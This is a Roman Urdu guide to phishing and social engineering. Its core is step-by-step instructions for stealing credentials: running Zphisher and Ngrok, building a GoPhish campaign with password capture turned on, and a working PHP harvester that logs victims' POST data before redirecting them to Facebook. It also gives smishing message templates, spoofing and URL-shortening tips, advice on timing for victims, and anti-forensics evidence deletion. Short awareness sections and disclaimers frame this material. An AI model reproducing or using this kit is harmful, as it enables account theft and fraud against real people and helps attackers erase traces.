

Phishing Aur Social Engineering

Samajhna aur bachav ke tareeqe



Muqadma (Introduction)

Syed Ghous

Cybersecurity ki duniya mein, **Phishing** aur **Social Engineering** aam khatra hain jo aapki private maloomat aur paisa ko chura sakte hain. Yeh guide aapko in khatron ko samajhne mein help de gi!

Phishing kya hai?

Phishing ek aisa tareeqa hai jismein attacker fake emails, messages ya websites istemal karke aapko apni personal details (jaise username, password, credit card number) batane par majboor karte hain.

Social Engineering kya hai?

Social Engineering ek bara concept hai jismein attacker psychologists (jalbazi mein phansa kr) ke tareeqon ko istemal karke logon ko dhoka dete hain taake woh aisi harkat karein jo unke liye nuqsandeh ho. Phishing iska ek hissa hai.

Yeh Buniyadi Tor Par Shamil Hai:

- Dhoka dena
- Bharosa hasil karna
- Personal data Churana

👉 Maqsad:

- Aapko Jaagruk Banana
- Apne Aap Ko Mehfooz Rakhna



Phishing Emails



Yeh emails aksar aisi lagti hain jaise kisi asli company (bank, social media site, online store) se aayi hon. Inka maqsad aapko darana ya lalchana hota hai taake aap unke diye gaye link par click karein ya attachments khol dein.

Pehchan ne ke Liye Isharay:

- **Ajeeb Sender Address:** Email address mein spelling ki ghaltiyan hon ya domain naam ajeeb ho (e.g., ke bajaye).
- **Generic Greetings:** "Dear Customer" jaisa istemal, jabke asli emails aapka naam istemal karti hain.
- **Urgency/Threats:** "Aapka account band ho jayega" ya "Jald se jald click karein" jaisa dar.
- **Spelling & Grammar Errors:** Bahut sari ghaltiyan jo professional emails mein nahi hoti.
- **Suspicious Links/Attachments:** Links par hover karne se ajeeb URLs dikhna ya anjan attachments milna.

👉 How to make a Phishing & Social Engineering:

- **Setup: Free Tools (Kali Linux)**

- In cheezon ki zaroorat hai:
- **Kali Linux:** Yeh hamara main OS hai (Free).
- **Zphisher:** Yeh Fake Login Page banane ke liye best hai (Free).
- **Ngrok:** Yeh hamare local PC ko internet se jorta hai taake link duniya mein kahin bhi khul sake (Free).
- **GoPhish:** Yeh email campaign chalane aur track karne ke liye hai (Free).

- **3. The Red Team Process (Step-by-Step)**

- **Step A: Fake Login Page Banao (Zphisher)**

- Kali terminal mein ye commands chalao:
- is se nechy wali teeno lines mein command hein

- `git clone https://github.com/htr-tech/zphisher`
- `cd zphisher`
- `bash zphisher.sh`

jo code jis line mein likhna usy usy mein likhna like agr pdf mein jis way mein likha he usy way mein likhna whn bi

- Menu se **Instagram** ya **Facebook** select karo.
- Port 80 rakho.
- Jab pooche "Tunneling", toh **Ngrok** select karo.
- Ngrok tumhein ek link dega (e.g., <https://abc.ngrok.io>). **Ye tumhara "Phishing Link" hai.**

- **Step B: Phishing Email Design Karo (GoPhish)**

- Ab victim ko email bhejne ke liye GoPhish setup karo:
- **Email Template:** GoPhish ke Email Templates mein jao. Wahan ye HTML code paste karo:
- HTML
- `<p>Account Security Alert!</p>`
- `<p>Someone tried to login to your account. Please verify your identity:</p>`
- `<a href="{{.URL}}" style="background:blue; color:white; padding:10px;">Verify Now</a>`
- **Landing Page:** Landing Pages mein jao. "Import Site" par click karo aur asli website (e.g., <https://www.instagram.com>) ka URL daalo.
- **Important:** "Capture Data" aur "Capture Passwords" ko **ON** kar do.

- **Step C: Email Bhejo (Execution)**

- **Campaign Launch:** Campaigns -> New Campaign mein jao.
- **Details:** Apna **Template**, apna **Landing Page**, aur victim ka **Email Address** daalo.
- **Launch:** Button dabao. Victim ko email chali jayegi.

- **4. Result: Data Kaise Aayega?**

- Jab victim email mein **"Verify Now"** dabayega, wo tumhare Ngrok link par jayega.
- Wahan usay bilkul asli page dikhega. Wo apna username/password daal kar **Login** dabayega.
- Jaise hi wo dabayega, tumhare **GoPhish** ke Results tab mein **Password** aa jayega!
- **Trick:** Victim ko apne aap asli website par redirect kar diya jayega taake usay shaq na ho.

- **Red Team Warning (Zaroori Note)**

- **Safety:** Ye sab sirf **Apni Lab** (Apni 2 VMs) mein practice karo.
- **Anti-Forensics:** Kaam khatam hone ke baad `rm -rf` command se saari logs aur folders delete kar do.
- **Legal:** Kisi aur ka data chori karna **Illegal** hai. Red Teamers sirf test karte hain ke security system kitna mazboot hai.



Fake Login Pages



Phishing emails aksar aapko fake login pages par le jati hain jo bilkul asli websites jaisi dikhti hain. Jab aap apna username aur password enter karte hain, toh woh details attacker ke paas chali jati hain.

How to create a fake login page .

(only for educational aur cyber-security research)

Step 1: Environment Setup (Folder Creation)

Kali Linux mein apna ek hidden workspace banayein taake files organize rahein.

1. **File Manager** kholein (Taskbar ka folder icon).
2. **Home** directory mein Right-Click karein aur **"Create Folder"** select karein. Naam rakhein phishing_lab.
3. Is folder ke andar jayein, Right-Click karein -> **"Create New"** -> **"Empty File"** select karein.
 - Pehli file ka naam: index.html
 - Dusri file ka naam: login.php

Step 2: Designing the Trap (Frontend & Backend)

A. index.html (The Bait Page):

- Target website (e.g., Facebook) par jayein, Ctrl + U (View Source) dabayein.
- Sara code Ctrl + A (Select All) aur Ctrl + C (Copy) karein.
- index.html file ko **Mousepad** ya **Leafpad** mein kholein, code paste karein aur Ctrl + S (Save) karein.
- **Crucial Change:** Code ke andar <form> tag dhoondhein aur usay edit karke ye kar dein: <form action="login.php" method="POST">

B. login.php (The Data Capturer):

- login.php file ko kholein aur ye PHP code paste karke save karein:
- is se next line par code likha he jis trh likha he like jo uper likha usy uper jo agli line mein usy code likhty waqt bi next line mein hi likhna ha

- `<?php`
- `$file = fopen("credentials.txt", "a");`
- `foreach($_POST as $key => $value) {`
- `fwrite($file, $key . ": " . $value . "\n");`
- `}`
- `fwrite($file, "-----\n");`
- `fclose($file);`
- `header("Location: https://www.facebook.com");`
- `exit();`



Step 3: Server Execution (Making it Live)

Ab hum in files ko internet par live karenge.

1. phishing_lab folder mein Right-Click karein aur **"Open in Terminal"** select karein.
2. **Server Start Karein:**
3. Bash
4. php -S localhost:8080
5. (Ab aapka computer local server ban chuka hai).
6. **Tunneling (Public Link):**
 - Ek naya terminal window kholein.
 - Command likhein:
7. Bash (ye bash, or something else pehle ka likha hoga hum ne uski next line mein code likhna)
8. is se next line mein code he
9. **ngrok http 8080**
 - Ngrok aapko ek link dega (e.g., <https://abc-xyz.ngrok.io>). **Ye link aapka target phish hai.**

Step 4: Data Harvesting (Mission Success)

1. **Execution:** Victim ko wo ngrok link bhejein.
2. **Trigger:** Jaise hi victim login karega, uske browser mein asli Facebook khul jayegi.
3. **Extraction:** Apne phishing_lab folder mein jayein. Wahan ek nayi file credentials.txt ban chuki hogi.
4. **Result:** Is file ko kholein; wahan aapko victim ka username aur password mil jayega.

Step 5: Red Team Post-Operation (Cleanup)

Professional Red Teamers kabhi nishaan nahi chhodte:

1. **Logs Delete:** Terminal mein likhein `rm credentials.txt` taake saboot mit jayein.
2. **Stop Processes:** Terminal mein `Ctrl + C` dabayein taake server aur tunnel band ho jayein.
3. **Safe Practices:** Hamesha apne lab ka "Snapshot" lein taake next time fresh start kar sakein.

 **Legal Disclaimer:** Ye guide sirf educational aur cyber-security research ke liye hai. Kisi aur par inka istemal karna illegal hai.

 **Educational Disclaimer:** Yeh jankari sirf aapko protect karne ke liye hai. Kisi bhi qanoon ke khilaf istemal sakhti se mana hai.



SMS Phishing (Smishing)



Smishing, yaani SMS Phishing, mein attackers aapko fake text messages bhejte hain. Yeh messages bhi aksar urgent action maangte hain ya kisi prize ka laalach dete hain.

Jaisa Ke:

- "Aapne Rs. 50,000 jeete hain! Click here to claim: [fake link]"
- "Aapke bank account mein shaakih kharach hua hai. Turant is number par call karein ya link par click karein: [fake link]"
- "Aapka package deliver hone wala hai. Tracking update ke liye yahan click karein: [fake link]"

Red Team Operation: Smishing Blueprint

Step 1: Setup (The Trap)

- **Fake Page:** Wahi index.html aur login.php jo humne phishing ke liye banaye thay, wo wahi rahenge.
- **Link:** Ngrok se jo link milega (e.g., <https://abc.ngrok.io>), wahi link yahan bhi use hoga.

Step 2: Smishing Delivery (The "Hook")

SMS mein jagah kam hoti hai, isliye **Social Engineering** bohat strong honi chahiye.

- **Target Message Examples:**
 - "Aapka account verify nahi hai, account block hone se bachane ke liye abhi yahan login karein: [Link]"
 - "Congratulations! Aapne prize jeeta hai, cash receive karne ke liye yahan click karein: [Link]"

Step 3: Execution (SMS Kaise Bhejin?)

Free mein SMS bhejte waqt Red Teamers in tareeqon ka istemal karte hain:

1. **SMS Gateway (Free Trials):** Internet par bohat si websites (e.g., Twilio, ClickSend) free trial deti hain jahan se tum API ke zariye SMS bhej sakte ho.
2. **OSINT + Social Engineering:** Agar tum direct target ka number jante ho, toh tum **"SMS Spoofing"** tools ka use kar sakte ho (jo sender ka naam "Facebook" ya "Bank" dikha sakte hain).

1. **OSINT + Social Engineering** ye jo abhi btye isky bary mein ye paid he iska alag tareeqa iska bs abhi structure hi samagh lo iski details and free method dhod rha ho mily ga to usky details notes bana kr post kr do ga agr iski samagh na bi aya to problum ki baat nhi isi details pdf alag se a jye gi email kr ke bata dena jisko jo bi problum ho.

- *Command (Terminal mein):* Agar tumhare paas **Social Engineering Toolkit (SET)** hai:
- `sudo setoolkit -> Select 1 (Social-Engineering Attacks) -> 5 (Mass Mailer Attack)` - yahan se tum SMS attack vector bhi explore kar sakte ho.

Step-by-Step Smishing Workflow

Stage	Action	Technical Logic
Bait	Link + SMS text	Urgency create karna (e.g., "Account Blocked!").
Delivery	SMS Gateway / Spoofing	Victim ke mobile inbox mein SMS push karna.
Trap	Fake Login Page	Victim ka link par click karna.
Harvest	login.php script	Credential ko credentials.txt mein save karna.

Red Team Pro-Tips for Smishing:

1. **URL Shortener ka use:** Ngrok ka link (random-name.ngrok.io) bohat lamba aur suspicious lagta hai. Ise **bit.ly** ya **tinyurl.com** se chhota kar lo taake wo asli lage.
2. **Timing:** Smishing tab karo jab victim ka kaam karne ka time ho, taake wo jaldi mein click kare (e.g., Subah 9 baje jab log office jate hain).
3. **Anti-Forensics:** SMS bhejne ke baad apni "Sent" history delete kar do. Agar tumne koi online gateway use kiya hai, toh uski logs clear kar do.

Important Warning:

Smishing karna, khaas kar bank ya government ka naam use kar ke, **bohat bada jurm hai**. Ye sirf **Cyber-Security Testing** (Red Teaming) ke liye seekhna.

Voice Phishing (Vishing)

Vishing mein attackers phone calls ke zariye dhoka dete hain. Woh khud ko bank employee, police officer, ya kisi company ka representative bata sakte hain. but ye jurm he ye bus study purpose ke liye he cuz hamyen agr blue team mein jana to red team or hackers ko samghna zarori he .

Attackers Ka Tareeqa:

- Woh aapko darate hain ke aapka account hack ho gaya hai ya aap par koi case chal raha hai.
- Woh aap se niji details (CNIC number, bank details, OTP) maang sakte hain.
- Woh aapko kisi link par click karne ya kisi app ko download karne ka keh sakte hain.
- Woh aapko remote access software install karne ko keh sakte hain.

 **Note:** Yeh jankari sirf aapko mehfooz rakhne ke liye hai. Iska galat istemal na karein.



Ethical Hacking



Jab hum cybersecurity ki baat karte hain, toh **Ethical Hacking** ek buniyadi hissa hai. Ethical hackers woh professionals hotay hain jo company ki ijazat se unke systems ko test karte hain taake unki kamzoriyo ko pehchan kar unhe theek kiya ja sake.

Yeh Sirf Taleem Aur Bahbri Ke Liye Hai:

Ethical hacking mein seekha gaya knowledge sirf systems ko protect karne ke liye istemal hota hai. Qanoon ke khilaf iska istemal jurm hai.

Career Paths:

- Cybersecurity Analyst
- Penetration Tester
- Security Consultant
- Information Security Officer

Mash'hoor Certifications:

- Certified Ethical Hacker (CEH)
- CompTIA Security+
- Offensive Security Certified Professional (OSCP)

Qanooni Aur Ibtedai Tareeqay:

- **Online Courses:** Coursera, Udemy, Cybrary jaisi platforms par kafi achhe courses available hain.
- **Practice Labs:** Virtual labs (jaise Hack The Box, TryHackMe) mein practice karein.
- **University Degrees:** Cybersecurity mein degree hasil karein.

Hamesha Yaad Rakhein:

- Kisi bhi system ko test karne se pehle uski **likhti ijazat** zaroori hai.
- Ghair qanooni activities se door rahein.

✅ **Educational Disclaimer:** Yeh section sirf information ke liye hai taake aap cybersecurity ke field ko samajh sakein. Gair qanooni hacking ki koshish na karein. Ham kisi bhi nateeja ke zimmedar nahi honge.

Ikhtitam (Conclusion)

Phishing aur Social Engineering aik barhte hue khatrat hain. Aagahi aur sahi tareeqe se bachav karke aap apni niji maloomat aur paison ko mehfooz rakh sakte hain. Hamesha hoshyar rahein aur kabhi bhi larkhrana nahi!